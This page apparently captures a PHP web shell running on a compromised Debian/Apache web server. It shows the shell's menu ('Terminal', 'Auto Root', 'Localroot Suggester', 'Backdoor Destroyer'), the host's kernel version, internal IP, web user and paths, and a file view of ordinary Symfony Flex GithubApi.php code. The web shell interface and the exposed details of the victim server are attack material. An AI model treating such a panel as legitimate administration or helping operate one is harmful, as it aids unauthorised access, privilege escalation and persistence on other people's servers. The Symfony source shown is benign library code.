Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
flex /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Command
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Configurator
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Event
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Unpack
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Update
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
Configurator.php
4.25
KB
-rwxrwxr-x
2025-11-16 09:38
Downloader.php
18.14
KB
-rwxrwxr-x
2025-11-16 09:38
Flex.php
33.68
KB
-rwxrwxr-x
2025-11-16 09:38
GithubApi.php
5.89
KB
-rwxrwxr-x
2025-11-16 09:38
InformationOperation.php
1.81
KB
-rwxrwxr-x
2025-11-16 09:38
Lock.php
1.83
KB
-rwxrwxr-x
2025-11-16 09:38
Options.php
4.2
KB
-rwxrwxr-x
2025-11-16 09:38
PackageFilter.php
5.71
KB
-rwxrwxr-x
2025-11-16 09:38
PackageJsonSynchronizer.php
15.59
KB
-rwxrwxr-x
2025-11-16 09:38
PackageResolver.php
5.79
KB
-rwxrwxr-x
2025-11-16 09:38
Path.php
966
B
-rwxrwxr-x
2025-11-16 09:38
Recipe.php
2.91
KB
-rwxrwxr-x
2025-11-16 09:38
Response.php
1.95
KB
-rwxrwxr-x
2025-11-16 09:38
ScriptExecutor.php
4.9
KB
-rwxrwxr-x
2025-11-16 09:38
SymfonyBundle.php
3.66
KB
-rwxrwxr-x
2025-11-16 09:38
SymfonyPackInstaller.php
478
B
-rwxrwxr-x
2025-11-16 09:38
Unpacker.php
8.55
KB
-rwxrwxr-x
2025-11-16 09:38
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Flex; use Composer\Util\HttpDownloader; use Composer\Util\RemoteFilesystem; class GithubApi { /** @var HttpDownloader|RemoteFilesystem */ private $downloader; public function __construct($downloader) { $this->downloader = $downloader; } /** * Attempts to find data about when the recipe was installed. * * Returns an array containing: * commit: The git sha of the last commit of the recipe * date: The date of the commit * new_commits: An array of commit sha's in this recipe's directory+version since the commit * The key is the sha & the value is the date */ public function findRecipeCommitDataFromTreeRef(string $package, string $repo, string $branch, string $version, string $lockRef): ?array { $repositoryName = $this->getRepositoryName($repo); if (!$repositoryName) { return null; } $recipePath = \sprintf('%s/%s', $package, $version); $commitsData = $this->requestGitHubApi(\sprintf( 'https://api.github.com/repos/%s/commits?path=%s&sha=%s', $repositoryName, $recipePath, $branch )); $commitShas = []; foreach ($commitsData as $commitData) { $commitShas[$commitData['sha']] = $commitData['commit']['committer']['date']; // go back the commits one-by-one $treeUrl = $commitData['commit']['tree']['url'].'?recursive=true'; // fetch the full tree, then look for the tree for the package path $treeData = $this->requestGitHubApi($treeUrl); foreach ($treeData['tree'] as $treeItem) { if ($treeItem['path'] !== $recipePath) { continue; } if ($treeItem['sha'] === $lockRef) { // remove *this* commit from the new commits list array_pop($commitShas); return [ // shorten for brevity 'commit' => substr($commitData['sha'], 0, 7), 'date' => $commitData['commit']['committer']['date'], 'new_commits' => $commitShas, ]; } } } return null; } public function getVersionsOfRecipe(string $repo, string $branch, string $recipePath): ?array { $repositoryName = $this->getRepositoryName($repo); if (!$repositoryName) { return null; } $url = \sprintf( 'https://api.github.com/repos/%s/contents/%s?ref=%s', $repositoryName, $recipePath, $branch ); $contents = $this->requestGitHubApi($url); $versions = []; foreach ($contents as $fileData) { if ('dir' !== $fileData['type']) { continue; } $versions[] = $fileData['name']; } return $versions; } public function getCommitDataForPath(string $repo, string $path, string $branch): array { $repositoryName = $this->getRepositoryName($repo); if (!$repositoryName) { return []; } $commitsData = $this->requestGitHubApi(\sprintf( 'https://api.github.com/repos/%s/commits?path=%s&sha=%s', $repositoryName, $path, $branch )); $data = []; foreach ($commitsData as $commitData) { $data[$commitData['sha']] = $commitData['commit']['committer']['date']; } return $data; } public function getPullRequestForCommit(string $commit, string $repo): ?array { $data = $this->requestGitHubApi('https://api.github.com/search/issues?q='.$commit.'+is:pull-request'); if (0 === \count($data['items'])) { return null; } $repositoryName = $this->getRepositoryName($repo); if (!$repositoryName) { return null; } $bestItem = null; foreach ($data['items'] as $item) { // make sure the PR referenced isn't from a different repository if (!str_contains($item['html_url'], \sprintf('%s/pull', $repositoryName))) { continue; } if (null === $bestItem) { $bestItem = $item; continue; } // find the first PR to reference - avoids rare cases where an invalid // PR that references *many* commits is first // e.g. https://api.github.com/search/issues?q=a1a70353f64f405cfbacfc4ce860af623442d6e5 if ($item['number'] < $bestItem['number']) { $bestItem = $item; } } if (!$bestItem) { return null; } return [ 'number' => $bestItem['number'], 'url' => $bestItem['html_url'], 'title' => $bestItem['title'], ]; } private function requestGitHubApi(string $path) { $contents = $this->downloader->get($path)->getBody(); return json_decode($contents, true); } /** * Converts the "repo" stored in symfony.lock to a repository name. * * For example: "github.com/symfony/recipes" => "symfony/recipes" */ private function getRepositoryName(string $repo): ?string { // only supports public repository placement if (!str_starts_with($repo, 'github.com')) { return null; } $parts = explode('/', $repo); if (3 !== \count($parts)) { return null; } return implode('/', [$parts[1], $parts[2]]); } }